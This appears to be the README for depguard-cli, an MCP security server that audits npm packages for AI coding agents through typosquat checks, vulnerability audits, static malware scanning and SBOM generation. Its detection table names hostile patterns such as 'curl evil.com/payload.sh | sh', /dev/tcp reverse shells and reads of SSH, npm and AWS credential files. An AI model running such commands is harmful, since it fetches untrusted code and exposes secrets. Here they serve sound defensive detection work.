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MCP security server for AI coding agents. 12 tools: pre-install guardian, vulnerability audit, supply-chain attack detection via static code analysis, and Cyclo
MCP security server for AI coding agents. 12 tools: pre-install guardian, vulnerability audit, supply-chain attack detection via static code analysis, and CycloneDX 1.6 SBOM generation. Zero runtime dependencies.
MCP security server for AI coding agents. 14 tools — workspace auto-exec audit (defends against fake-interview / take-home-test malware), static code analysis, pre-install guardian, AI hallucination guard, dead-dependency detection, vulnerability audit, remediation planner, CycloneDX 1.6 SBOM, and SARIF v2.1.0 output for GitHub Code Scanning. Zero runtime dependencies. Works with Claude, Cursor, Windsurf, and any MCP client.
I work on industrial software where every event has to be logged and recoverable — customers trust the system because the audit trail makes the system trustworthy. When I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem: install 1,000 packages, hope for the best. depguard brings the same auditability mindset to JavaScript dependencies — verify before installing, audit what's already there, generate an SBOM your security team can actually use.
Zero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself.
npm install -g depguard-cli # or use directly with npx
npx depguard-cli audit express
depguard exposes 14 MCP tools over stdio. Add it to any MCP-compatible client and your AI agent calls them automatically when it's about to install something, audit a project, or review code.
Setup — Claude Code one-liner:
claude mcp add --transport stdio depguard -- npx -y depguard-cli --mcp
Setup — generic MCP config (Claude Desktop, Cursor, Windsurf, Continue.dev, Cline, Roo Code):
{
"mcpServers": {
"depguard": {
"command": "npx",
"args": ["-y", "depguard-cli", "--mcp"]
}
}
}
| Tool | Use it when |
|---|---|
depguard_guard |
About to install package Y → pre-install verify + audit + allow/warn/block |
depguard_should_use |
Need functionality X → recommend install / use-native / write-from-scratch |
depguard_audit_workspace |
Just cloned a repo, before opening it in any IDE. Lists files that auto-execute on workspace open (VS Code tasks runOn:folderOpen, devcontainer lifecycle, .envrc, JetBrains run configs, Makefile, .gitattributes, committed git hooks). Defends against fake-interview / take-home-test malware. |
depguard_audit_project |
Audit a whole project — direct deps, transitives via lockfile, packageManager field |
depguard_remediate |
"100 vulnerabilities, which 5 direct deps do I bump?" — groups transitives by parent, sorted by severity weight |
depguard_audit |
Deep dive on one package (vulnerabilities + static code analysis + install scripts) |
depguard_audit_bulk |
Compare A vs B vs C in one call |
depguard_audit_deep |
Full transitive tree audit for one package |
depguard_review |
AI code review — detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files) |
depguard_sweep |
Find unused dependencies in a project |
depguard_search |
Search npm by keywords, ranked by depguard score |
depguard_score |
Score 0-100 for one package |
depguard_verify |
AI hallucination guard — does this package exist? Is it a typosquat? |
depguard_sbom |
Generate a CycloneDX 1.6 SBOM (EU CRA, US EO 14028, SOC 2, FedRAMP) |
Every MCP response includes a tokenSavings field that quantifies the LLM-tokens saved vs equivalent manual research:
"tokenSavings": {
"responseTokens": 47,
"manualEstimate": 11100,
"saved": 11053,
"percentSaved": 100,
"manualSteps": [
"WebSearch: '{package} npm quality maintenance' (~800 tokens)",
"WebFetch: npm registry page (~3000 tokens)",
"WebFetch: GitHub repo for activity/stars (~3000 tokens)",
"WebSearch: '{package} vulnerabilities' (~800 tokens)",
"WebFetch: advisories page (~3000 tokens)",
"Reasoning: compute weighted score (~500 tokens)"
]
}
Automatic, no configuration. Lets teams quantify the LLM cost reduction of routing dependency questions through depguard instead of free-text web research.
depguard-cli audit <package[@version]> [--target-license MIT] [--json|--format sarif]
depguard-cli audit-project <path/package.json> [--include-dev] [--json|--format sarif]
depguard-cli audit-workspace [path] [--json|--format sarif]
depguard-cli audit-deep <package> [--json]
depguard-cli guard <package> [--threshold 60] [--block] [--json]
depguard-cli should-use <intent...> [--threshold 60] [--json]
depguard-cli sweep [path] [--include-dev] [--json]
depguard-cli review [path] [--full] [--json]
depguard-cli sbom <path/package.json> [--include-vex] [--include-dev] [-o out.json]
depguard-cli remediate <path/package.json> [--json]
depguard-cli search <keywords...> [--limit 10] [--json]
depguard-cli score <package> [--target-license MIT] [--json]
depguard-cli stats [--json]
Pre-install guardian in action:
$ depguard-cli guard expresss
[WARN] expresss
Possible typosquat of: express
Score: 45/100 is below threshold 60
$ depguard-cli guard ai-made-up-package
[BLOCK] ai-made-up-package
Package does NOT exist on npm!
audit, audit-project, and audit-workspace accept --format sarif and emit SARIF v2.1.0 with GHSA-stable rule IDs (depguard/vuln/GHSA-…), CVSS-propagated severity, and stable partialFingerprints for dedup across runs.
# .github/workflows/depguard.yml
- name: Pre-open workspace audit
run: npx -y depguard-cli audit-workspace . --format sarif -o workspace.sarif || true
- name: Project dependency audit
run: npx -y depguard-cli audit-project ./package.json --format sarif -o project.sarif || true
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: |
workspace.sarif
project.sarif
import { audit, auditProject, sweep, guard, generateSBOM, auditToSarif } from 'depguard-cli'
const report = await audit('express', 'MIT')
report.vulnerabilities.total // 0
report.securityFindings // SecurityFinding[] (static code analysis)
report.licenseCompatibility.compatible // true
const project = await auditProject('./package.json', { includeDevDependencies: true })
project.summary // { critical: 0, high: 2, moderate: 5, low: 3 }
project.transitiveSummary // { totalDeps: 800, vulnerable: 12, ... }
project.packageManagerAudit // audit of `packageManager: [email protected]`
const sweepResult = await sweep('.', { includeDevDependencies: true })
sweepResult.unused // [{ name: 'lodash', estimatedSizeKB: 1400, ... }]
sweepResult.estimatedSavingsKB // 2450
const decision = await guard('expresss')
decision.possibleTyposquat // true
decision.similarTo // ["express"]
decision.decision // "warn"
const bom = await generateSBOM('./package.json', { includeVex: true })
bom.specVersion // "1.6"
bom.vulnerabilities // [{ id: "GHSA-...", ratings: [...], affects: [...] }]
Each package is scored 0-100 across five dimensions, with thresholds tuned for AI-agent decision-making:
| Dimension | Weight | What it measures |
|---|---|---|
| Security | 30% | CVEs, advisories, static code analysis findings |
| Maintenance | 25% | Last publish, version count, deprecation |
| Popularity | 20% | Weekly downloads (log scale) |
| License | 15% | Compatibility with your project's target license |
| Dependencies | 10% | Dependency count, install scripts |
Decisions (shouldUse): >= 60 → install, 40-59 → caution, < 40 → write from scratch.
Static-analysis caps the security score regardless of popularity — this is deliberate: a wildly popular package with a credential-stealing payload still loses.
| Worst finding | Security score capped at |
|---|---|
| Critical (e.g. malware, reverse shell) | 20/100 |
| High (e.g. obfuscation, env-var exfil) | 45/100 |
| None | unrestricted |
Three sequential checks before npm install: (1) does the package exist on npm? (2) is the name a typosquat — Levenshtein distance against 100+ top packages? (3) full security audit. Used as the recommended MCP entry point for AI agents.
depguard statically pattern-matches preinstall / install / postinstall scripts. Nothing is executed.
| Pattern | Severity | Example |
|---|---|---|
| Remote code execution | Critical | curl evil.com/payload.sh | sh |
| Reverse shells | Critical | /dev/tcp/ connections |
| Credential file access | Critical | ~/.ssh/id_rsa, ~/.npmrc, ~/.aws |
| Sensitive env vars | Critical | $NPM_TOKEN, $AWS_SECRET |
| Shell typosquatting | Critical | /bin/ssh instead of /bin/sh |
| Obfuscated code | High | eval(Buffer.from(..., "base64")) |
| Process spawning | High | child_process, exec(), spawn() |
depguard downloads the package tarball, extracts JS files, and scans for 18+ malware patterns across 6 categories:
| Category | Severity | What it detects |
|---|---|---|
malware |
Critical | Eval of decoded payloads, reverse shells, crypto-mining |
data-exfiltration |
Critical/High | JSON.stringify(process.env), credential file reads, dynamic fetch URLs |
code-execution |
High | eval(), new Function(), child_process.exec/spawn |
obfuscation |
High/Medium | Long hex/unicode strings, base64 payloads, minified source in non-.min.js files |
unexpected-behavior |
High/Medium | Network calls in a "formatter" package, FS access in a "date utility" |
supply-chain |
Critical | Typosquatting patterns in install scripts |
Behavioral mismatch compares the package's stated purpose (description + keywords) against detected runtime behavior. A "string formatter" that makes network calls is flagged with a rich SecurityFinding (title, explanation, evidence, file, recommendation).
sweep scans .js/.ts/.mjs/.cjs/.jsx/.tsx for import / require / export from, recognises config-only dependencies (eslint, prettier, jest, tailwind, …), detects binaries used in npm scripts, pairs @types/* with their runtime peer, and marks untraced devDependencies as "maybe-unused" instead of "unused". Reports estimated disk savings.
should_use checks for native Node.js APIs before recommending packages — fetch (18+), crypto.randomUUID() (19+), structuredClone() (17+), and 20+ more. Each comes with example code and the minimum Node version.
Every vulnerable result includes a fixSuggestions array with currentVersion, fixVersion, and action: 'upgrade' | 'no-fix-available'. depguard_remediate aggregates these and groups vulnerable transitives by the direct dep that pulls them in, sorted by severity weight.
Permissive-to-copyleft hierarchy: Public Domain → Permissive (MIT, ISC, BSD, Apache-2.0) → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL). A dependency is compatible if its license is equally or more permissive than the target license.
Native CycloneDX 1.6 generation against the public JSON Schema — no @cyclonedx/cyclonedx-library runtime dependency. Output is consumed unchanged by Dependency-Track, Trivy, Grype, and OWASP DT.
depguard-cli sbom ./package.json -o sbom.cdx.json
depguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.json
Suitable for EU Cyber Resilience Act, US Executive Order 14028 / OMB M-22-18, SOC 2, FedRAMP, and supplier procurement. PURLs follow the Package URL spec. SHA-512 integrity hashes are extracted from package-lock.json and converted from base64 to hex per the CycloneDX schema. With --include-vex, advisories are inlined with CVSS ratings and patched versions.
Two advisory databases, deduplicated. Each advisory is filtered to the installed version range (no noise from advisories that don't actually affect you) and tagged with its source field.
| Source | What it catches |
|---|---|
| npm Registry | npm audit advisories |
| GitHub Advisory DB | GHSAs, often not in npm |
Everything stays local. No telemetry, no usage reporting, nothing sent anywhere. Audit results are cached in memory (5 min TTL) and on disk under ~/.depguard/cache/ (24h TTL); the cache is cleaned on startup.
GitHub token (optional). Set GITHUB_TOKEN (no scopes needed — identification only) to raise the GitHub Advisory API rate limit from 60/h to 5,000/h. If gh CLI or GitHub Actions already exposes one, depguard picks it up automatically.
Design principles. Zero runtime dependencies. Never throws on network errors — returns degraded results with warnings. TypeScript strict. 100% offline tests. False-positive aversion is a hard constraint for every detection rule — depguard is a security tool, and a security tool with poor precision destroys its own trust.
Development.
npm test # 409 offline tests
npm run check # version + build + lint + test + audit:security (gates publish)
Author. Jorge Morais (jorgemopanc.com · LinkedIn) — Tech Lead at Balanças Marques in Braga, Portugal, building edge-to-cloud systems for industrial operations. Issues, PRs, and bug reports welcome. If depguard saves you from a malicious install or unblocks a compliance audit and you'd like to support the project, GitHub Sponsors is the cleanest way — no expectations, the tool is free and will stay so.
License. Apache-2.0 — see LICENSE.
Run in your terminal:
claude mcp add depguard -- npx Security
Low riskAutomated heuristic from public metadata — not a security guarantee.